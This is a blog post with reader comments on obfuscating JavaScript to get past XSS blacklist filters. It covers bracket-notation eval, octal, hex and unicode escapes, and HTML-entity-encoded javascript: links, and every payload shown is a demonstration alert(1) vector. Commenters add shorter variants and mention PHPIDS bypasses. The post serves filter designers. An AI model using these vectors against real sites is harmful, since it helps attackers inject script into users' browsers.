Javascript for hackers part 2

In my second part of Javascript for hackers I shall be showing how pointless it is to ban the use of document, location etc within form variables.

You can create some truly amazing strings which are unreadable to the human eye, many more vectors are available on the sla.ckers thread I created but I’ll show the juicy ones here.

First off what has it to do with XSS you may ask? With these character combinations you can allow access to javascript objects that was previously filtered out. If you’re developing any sort of serious blacklist filter then you need to consider as much as possible. In future sites may be communicating with each other via Javascript and to do this you must know what is harmful and what is not.

Ok boring bit over with now onto the good stuff πŸ™‚ The following vectors were only tested on Firefox but the same sort of encoding may also work on other browsers with a bit of hacking.

The basic vector

0['eval']('alert(1)')

In case you didn’t know, in Firefox it’s possible to call the eval function from pretty much anywhere. So in the example above zero could be 1 + 1 or new Date() or any expression at all. The first part therefore holds the reference to the eval function and the second part calls the function you want, in this case alert.

Backslash escapes

0['eva\l']('a\lert\(1\)')

To take our vector a stage further we can also add backslash escapes, in javascript when a character is escaped that doesn’t have special meaning it is returned as normal.

Encoding strings

Octal encoding, notice how the ‘e’ is created:-

0['\145val']('alert(1)')

Hex encoding:-

0['\x65val']('alert(1)')

Unicode:-

0['\u0065val']('alert(1)')

Javascript allows many different types of encoding within strings and it’s quite easy to obscure the code. The above examples shows how each different encoding replaces the letter “e” in the vector. This could be applied to the entire string but I only replaced one letter to make it easy to see what is going on.

Encoding nearly everything

Unicode vector:-

\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029

The above vector in plain text:-

alert(1)

You can also encode javascript objects, functions or operators using unicode. The example above calls a simple “alert(1)” function. Why did I say nearly everything? It seems Javascript only allows you to encode the first quoting character of a string, the second must be in plain text in order for the vector to work. Look at the example below to understand this:-

Encoded vector, notice the last single quote cannot be encoded:-

\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0048\u0065\u006c\u006c\u006f'\u0029

In plain text:-

alert('Hello')

The final vectors

Vector 1:-

\u0031+\u0031\u005b'\145\166\141\154'\u005d\u0028'\141\154\145\162\164\50\61\51'\u0029 

Vector 2:-

\u0030\u005b\u0022\x65\x76\x61\x6C"\u005d\u0028\u0027\x61\x6C\x65\x72\x74\x28\x31\x29'\u0029 

Both vectors are based on the original one in the article with slight variations in quoting characters:-

0['eval']('alert(1)')

So as you can see from the above filtering out “document” won’t get you anywhere, you need to consider all possible variations. Both vectors use a combination of unicode, hex and octal encoding to produce the required code.

I’m not just gonna leave it there either πŸ™‚ there is one final vector which you have to consider, say for instance you filter out the “\” character to prevent these sort of attacks, the url also allows entities so it’s possible to encode the attacks mentioned again with html entities. For example:-

<a href="javascript:\u0031+\u0031\u005b'\145\166\141\154'\u005d\u0028'\141\154\145\162\164\50\61\51'\u0029">Test</a>

Becomes:-

<a href="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x5C&#x75&#x30&#x30&#x33&#x31&#x2B&#x5C&#x75&#x30&#x30&#x33&#x31&#x5C&#x75&#x30&#x30&#x35&#x62&#x27&#x5C&#x31&#x34&#x35&#x5C&#x31&#x36&#x36&#x5C&#x31&#x34&#x31&#x5C&#x31&#x35&#x34&#x27&#x5C&#x75&#x30&#x30&#x35&#x64&#x5C&#x75&#x30&#x30&#x32&#x38&#x27&#x5C&#x31&#x34&#x31&#x5C&#x31&#x35&#x34&#x5C&#x31&#x34&#x35&#x5C&#x31&#x36&#x32&#x5C&#x31&#x36&#x34&#x5C&#x35&#x30&#x5C&#x36&#x31&#x5C&#x35&#x31&#x27&#x5C&#x75&#x30&#x30&#x32&#x39">Test</a>

Crazy eh? That actually works heh. You may be wondering how I manage to create all these vectors?…well I can scan javascript code and unicode tables in my head and automatically perform the conversions in nano seconds…joke. I use my Hackvertor tool to do the hard work for me πŸ˜€

11 Responses to “Javascript for hackers part 2”

  1. Marco Ramilli writes:

    Great Gareth,
    another wonderful post, easy to understand but rich of meaning, really useful for each one who doesn’t know javascript “tips” and also useful to rehearse the subject .

  2. Master Ternary Li writes:

    good writeup. it’s nice having all of these vectors in place along with the explanatory text. All the recent bypasses to the PHPIDS have used these techniques (as i’m sure you know since you found them) πŸ™‚

  3. pdp writes:

    too long for my taste

    0..eval(‘alert(1)’)

    works as well πŸ™‚ a few chars less

  4. Gareth Heyes writes:

    @Marco @Master Ternary Li

    Glad you enjoyed them πŸ™‚ I’ll do some more write ups if I find any new vectors

    @pdp

    Nice πŸ™‚ got anymore?

  5. Gareth Heyes writes:

    Check this out πŸ˜€
    0/alert(1)

  6. Josh writes:

    <script>alert(“hi”);</script>

  7. Gareth Heyes writes:

    @josh

    <script>alert(/LOL/)</script>

  8. loveshell writes:

    To take our vector a stage further we can also add backslash escapes, in javascript when a character is escaped that doesnÒ€ℒt have special meaning it is returned as normal.

    is it defined in ecmascript?
    it doesn’t work in IE….

  9. Gareth Heyes writes:

    @loveshell

    It does work in IE but in certain circumstances and certain chars, yes I’m pretty sure it’s defined in ecmascript.

  10. k writes:

    This seems to work only on Firefox. No IE, Opera, Safari.

    Gareth, if you had to encode it so that it would work on most browsers, what code would you use?

  11. Gareth Heyes writes:

    @k

    Unicode and html entities would be the best cross platform solution:-
    Example